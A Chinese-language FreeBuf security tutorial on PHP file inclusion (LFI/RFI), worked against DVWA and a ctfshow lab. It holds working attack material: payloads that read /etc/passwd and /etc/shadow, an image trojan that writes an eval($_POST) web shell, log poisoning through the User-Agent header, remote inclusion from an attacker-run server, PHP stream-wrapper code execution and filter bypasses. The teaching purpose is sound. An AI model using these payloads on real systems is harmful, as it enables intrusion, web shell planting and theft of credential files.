freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

文件包含漏洞从入门到精通
2025-01-06 15:57:54
所属地 四川省

文件包含漏洞

一、什么是文件包含漏洞

  1. 漏洞成因:

    • 为了提高代码的复用性和模块化,开发人员通常会将可重复使用的函数或代码段写入到单个文件中。在需要使用这些函数或代码段时,直接调用此文件,而无需再次编写。这种调用文件的过程被称为“包含”。

    • 开发人员没有对用户输入的参数进行正确的过滤和检查,导致攻击者可以在包含文件时控制参数的值,从而访问敏感文件或执行恶意代码。

  2. 漏洞函数:include(),require(),include_once(),require_once()

    • include()函数包含并运行指定文件,文件不存在发出警告,脚本继续执行。

    • require()函数处理失败时报错,脚本终止。

    • include_once()和include类似,但只包含一次。

    • require_once()与require相似,但只包含一次。

  3. 漏洞分类:

    • 本地文件包含(Local File Inclusion, LFI):攻击者可以读取任何文件,包括敏感的配置文件、密码文件。

    • 远程文件包含(Remote File Inclusion, RFI):攻击者可以访问远程服务器上的文件或者下载、执行恶意代码。

二、本地文件包含漏洞利用方式

1. 文件读取

使用一个不存在的文件测试,发现有警告,且爆出了绝对路径,我们看下源代码,使用include()函数的特点1736145506_677b7a6205b8ce0465c06.png!small?1736145512384

if( isset( $file ) )
include( $file );
else {
header( 'Location:?page=include.php' );
exit;
}

将include函数修改为require函数再试一次,发现报错

1736145534_677b7a7eea2accbe54410.png!small

回归正题,绝对路径读取C盘下的win.ini

1736145636_677b7ae4592fd9ceb4111.png!small?1736145642497

使用…/…/相对路径读取

1736145645_677b7aed585ab7668a2c3.png!small?1736145651507

敏感文件:

  • 存储用户账号信息 /etc/passwd

  • 存储用户密码的哈希值 /etc/shadow

  • apache配置文件 /etc/httpd/conf/httpd.conf(centos);/etc/apache2/apache2.conf(ubuntu)

  • apache日志文件 /var/log/httpd/access_log(centos);/var/log/apache2/access.log(ubuntu)

  • nginx配置文件 /etc/nginx/nginx.conf

  • nginx日志文件 /var/log/nginx/access.log

2. 文件执行

在该目录上传一个phpinfo.php

<?php phpinfo();?>

使用文件包含漏洞,发现成功解析

1736145709_677b7b2d36119b85c1ea8.png!small?1736145715490

由此可见,被包含的php文件中的代码会被执行

小思路:当我们发现了一个文件包含漏洞,但我们只能去读取一些本地的文件,不能getshell,恰好在这个网站上有文件上传点,这个文件上传点不能上传木马,只能发送图片,而这个图片却没有做严格的限制;或上传的木马因权限问题无法访问时,这两个漏洞结合一下的话,就能达到很大效果了。比如我们上传了一个图片木马,网站不能解析,但们可以使用文件包含漏洞,去对这个文件进行包含,文件包含会执行php代码。

(1)配合文件上传getshell

上传一个jpg文件

<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?> 
# 在该目录下写一个shell.php的木马

1736146143_677b7cdf63a517f1fe2e6.png!small?1736146149613

payload:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/dvwa/hackable/uploads/shell.jpg包含一下这个jgp文件,使用文件包含漏洞执行php代码,使用蚁剑连接一下。

1736146166_677b7cf6b16fb442b0b4f.png!small?1736146172948

(2)配合日志文件getshell

环境:ctfshow web4

访问一个不存在的路径https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/ddddddsb

查看日志(nginx默认日志/var/log/nginx/access.log):https://b72a9fce-0d8a-4e30-bf3f-cd69a4b0f57b.challenge.ctf.show/?url=/var/log/nginx/access.log,发现我们的请求被记录

1736149688_677b8ab885a8b0894762c.png!small?1736149694583

包含时间、ip、请求路径、user-agent。使用burp抓包在ua处插入一句话木马

1736149748_677b8af4d0895186eb968.png!small?1736149755075

使用蚁剑进行连接

1736149806_677b8b2e695b517870a5c.png!small?1736149814866

三、远程文件包含(RFI)利用方式

1. 包含远程恶意文件

测试https://www.baidu.com1736146189_677b7d0d13e2ae609b9eb.png!small?1736146195257

在vps上布置一个恶意php脚本

python -m http.server 8000 # 使用python开启http服务

远程包含恶意文件http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://172.16.14.105:8000/phpinfo.php

1736146202_677b7d1a1f64e329db0d7.png!small?1736146216626

四、伪协议的利用

1. file://

  1. 作用:读取本地文件

  2. 使用方法:file://[文件的绝对路径和文件名]

    1736146210_677b7d226bb353515bb16.png!small?1736146216626

2. php://filter

  1. 作用:设计用于数据流打开时的筛选过滤应用。

  2. 使用方法:

    resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。必选
    read=<读链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。可选
    write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符()分隔。可选
    <;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
    • base64编码读文件:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=D:/phpstudy_pro/WWW/dvwa/php.ini

      1736146240_677b7d40f0f1b02e6c11b.png!small?1736146247185

3. php://input

  1. 作用:可以访问请求的原始数据的只读流

  2. 使用方法:php://input + [POST DATA]执行php代码

    1736146269_677b7d5dc4bf4bf4389d7.png!small?1736146275922

4. data://

  1. 作用:可以用来执行PHP代码。

  2. 使用方法:

    • data://text/plain,

    • data://text/plain;base64

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain,%3C?php%20phpinfo();?%3E

      1736146283_677b7d6b101c1385354c1.png!small?1736146289283

      http://127.0.0.1/dvwa/vulnerabilities/fi/?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      1736146292_677b7d745e8731994915d.png!small?1736146298645

5. http:// & https://

  1. 作用:允许通过HTTP 1.0的 GET方法,以只读访问文件或资源。

  2. 使用方法:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://www.baidu.com

    1736146306_677b7d829777c66fd5608.png!small?1736146312882

6. zip:// & bzip2:// & zlib://

  1. 作用:可以访问压缩文件中的子文件,且不需要指定后缀名。

  2. 使用方法:压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

    http://127.0.0.1/dvwa/vulnerabilities/fi/?page=zip://D:\phpstudy_pro\WWW\dvwa\hackable\uploads\phpinfo.jpg%23phpinfo.txt

    1736146323_677b7d9329db6c010f2b3.png!small?1736146329367


五、绕过方式

1. 大小写、双写绕过

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

过滤了'http://';'https://';

大小写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com

双写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://www.baidu.com

过滤'../';'..\\',双写绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././php.ini

2. 伪协议绕过

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}

?>
# 使用fnmatch函数检查page参数,要求page参数的开头必须是file

file伪协议绕过:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/dvwa/php.ini

1736146341_677b7da5c11677390f75d.png!small?1736146347902


# 漏洞 # 网络安全 # web安全 # CTF # 文件包含
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录